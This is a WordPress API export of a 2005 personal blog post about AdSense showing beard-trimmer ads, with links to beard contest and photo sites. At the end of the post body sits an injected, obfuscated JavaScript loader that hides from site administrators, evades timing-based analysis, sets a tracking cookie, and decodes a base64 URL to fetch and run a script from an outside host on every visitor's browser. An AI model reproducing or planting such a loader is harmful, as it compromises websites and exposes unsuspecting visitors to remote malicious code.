{"id":116,"date":"2005-07-23T09:00:28","date_gmt":"2005-07-23T13:00:28","guid":{"rendered":"http:\/\/www.callblog.net\/?p=116"},"modified":"2025-10-17T13:36:20","modified_gmt":"2025-10-17T17:36:20","slug":"adsense-and-facial-hair-yes-theyre-related","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/adsense-and-facial-hair-yes-theyre-related","title":{"rendered":"Adsense and Facial Hair &#8211; yes, they&#8217;re related."},"content":{"rendered":"<p>I&#8217;m thinking about putting <a href=\"http:\/\/www.google.com\/adsense\">adsense<\/a> ads on the front page of callblog.  Heres the issue:  I use the free version of <a herf=\"http:\/\/www.opera.com\" alt=\"The Fastest Browser on Earth\">Opera<\/a>, and it&#8217;s unobtrusive google text ads are always the same or very similar to adsense ads on the page I&#8217;m looking at.  When I&#8217;m looking at individual entries, the ads are usually related to the content of the entry in some way.  When I&#8217;m looking at callblog&#8217;s front page, the ads are for beard and goatee trimmers.  Granted, I do have a pretty sweet goatee.  I&#8217;m just not sure why google obsesses over it so much.<\/p>\n<p>That being said, bring on the wacky beards!<\/p>\n<ul>\n<li><a href=\"http:\/\/www.worldbeardchampionships.com\/\">The World Beard and Mustache Championship website<\/a> has several pages with photos (scroll to the bottom) as well as a <a href=\"http:\/\/www.worldbeardchampionships.com\/Gallery\/gallery.html\">Gallery page<\/a>.\n<\/li>\n<li><a href=\"http:\/\/news.nationalgeographic.com\/news\/2005\/03\/0325_050325_beardmustache.html\">A National Geographic Article on the World Beard and Mustache Games<\/a> and a related <a href=\"http:\/\/news.nationalgeographic.com\/news\/2005\/03\/photogalleries\/beardgames\/index.html\">Photo Gallery<\/a>.<\/li>\n<li><a href=\"http:\/\/www.beards.org\/\">Beards.org<\/a> has beard growing information and <a href=\"http:\/\/www.beards.org\/galleries.html\">Photo Galleries<\/a>.<\/li>\n<li><a href=\"http:\/\/flickr.com\/photos\/tags\/beard\">Flickr photos tagged &#8220;beard&#8221;<\/a> &#8211; these are sadly not that wacky, but perhaps this can serve as a baseline for beards in general.<\/li>\n<\/ul>\n<p><tags>beards, goatees, chin beards, mustache, adsense, google, beard contest<\/tags><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;m thinking about putting adsense ads on the front page of callblog. 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